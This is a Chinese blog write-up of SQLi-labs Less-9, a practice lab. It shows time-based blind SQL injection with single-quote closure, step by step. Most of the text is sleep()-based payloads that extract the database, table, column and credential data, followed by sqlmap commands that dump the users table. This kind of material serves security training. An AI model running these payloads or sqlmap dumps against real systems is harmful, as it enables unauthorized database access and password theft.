lesson9基于GET提交的单引号闭合的时间盲注

lesson9基于GET提交的单引号闭合的时间盲注

-SFWiQgfyeY_Us__BTFErgRCA5EVSLjViolVeNoAnpQ

这一关不管输入什么,页面都是显示You are in......因此只能使用时间盲注

一、手工注入

1.判断注入点

判断注入类型是否为数字型
?id=1 and 1=1 and sleep(5)
?id=1 and 1=2 and sleep(5)

如果是数字型那么页面会延迟5秒,但是发现页面并没有延迟,所以不是数字型。

判断注入类型是否为字符型
?id=1' and 1=1 and sleep(5)--+
?id=1' and 1=2 and sleep(5)--+

Cve3mp66F6G43otw5XONLCzNLG1QGfXHVvACAT4rock

Eje5ZqcpDeEZotDdlBxryavWL1_XBjl8k90HOl8l4Gk

发现1=1的时候页面延迟了,1=2的时候页面没有延迟。所以是单引号闭合

2.爆字段个数

?id=1' and sleep(5) order by 3--+

发现order by 3页面延迟了,order by4页面没有延迟,所以字段个数是3

3.猜测数据库长度

?id=1' and if(length(database())>7,sleep(5),1)--+

语句意思是如果数据库长度大于7,页面就会延迟5秒,反之不延迟。发现大于8的时候没有延迟,可判定数据库长度为8

4.猜测数据库名称

?id=1' and if(ascii(substr(database(),1,1))>114,sleep(5),1)--+

发现数据库名字第一个字符大于114时页面延迟了,大于115没有延迟,得到第一个字符是s,其他字符也是依葫芦画瓢一个个试,得到数据库名字为security。

5.猜测表名长度

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database()  limit 3,1))>4,sleep(5),1)--+

发现第4个表长度大于4页面延迟,大于5页面正常,可知第4个表长5

6.猜测表名名称

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116,sleep(5),1)--+

得到第四个表第一个字符大于116页面延迟,大于117页面正常,得到第一个字符ascii码为17对应字符u,以此类推得到users表名

7.猜测列名长度

?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))>7,sleep(5),1)--+

得到第二个列名长度大于7页面延迟,大于8页面正常,以此类推推出所有列名长度。

8.猜测列名名称

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116,sleep(5),1)--+

发现第二个列名第一个字符大于116页面延迟,大于117页面正常,得到第一个字符为u,以此类推得到第二个和第三个列名为username和password

9.猜测数据长度

?id=1' and if(length((select password from users limit 0,1))>3,sleep(5),1)--+

这里以password的数据内容为例,看到第一个密码长度大于3页面延迟,大于4页面正常。得到第一个密码长4,以此类推得到所有密码和用户名长度。

10.猜测数据内容

?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>67,sleep(5),1)--+

得到第一个密码第一个字符为D,以此类推得到所有账号和密码。

二、SQLMap注入

由于手工注入步骤过多,猜测内容过于繁琐,因此使用SQLMap等脚本工具注入更加方便

1.直接运行

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1

CNYElH-1j1aWB1xZf3y_JWcvki_hpi3BT7nYQDftaW4

告诉了我们注入参数为id,注入类型是布尔盲注(这里的布尔盲注的payload我也没看懂为啥可以用,如果有师傅知道的话还望指导一下)和时间盲注

2.查看当前数据库

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1 -current-db

OihQbbUHbLGtINvdTmNSs4IMbUyVLMDBTnB8WSbP2wI

3.查看表名

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1 -D security -tables

7TVjJN8UuiCQTUJMc8yB4RS_IzSHliJSi74A-PgnXeY

4.查看列名

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1 -D security -T users -columns

z5Iah3iDTZH5pXgiA597RkgMcccYQuo-Hrx7Gq4QtsY

5.查看字段内容

sqlmap -u http://xxxxxxx.xxx/Less-9/?id=1 -D security -T users -C username,password --dump

94_I-L6iWPjZKl0Y73dXIXE_cMhhNhD37fvApCXpG9k

posted on 2024-03-26 10:30  跳河离去的鱼  阅读(18)  评论(0编辑  收藏  举报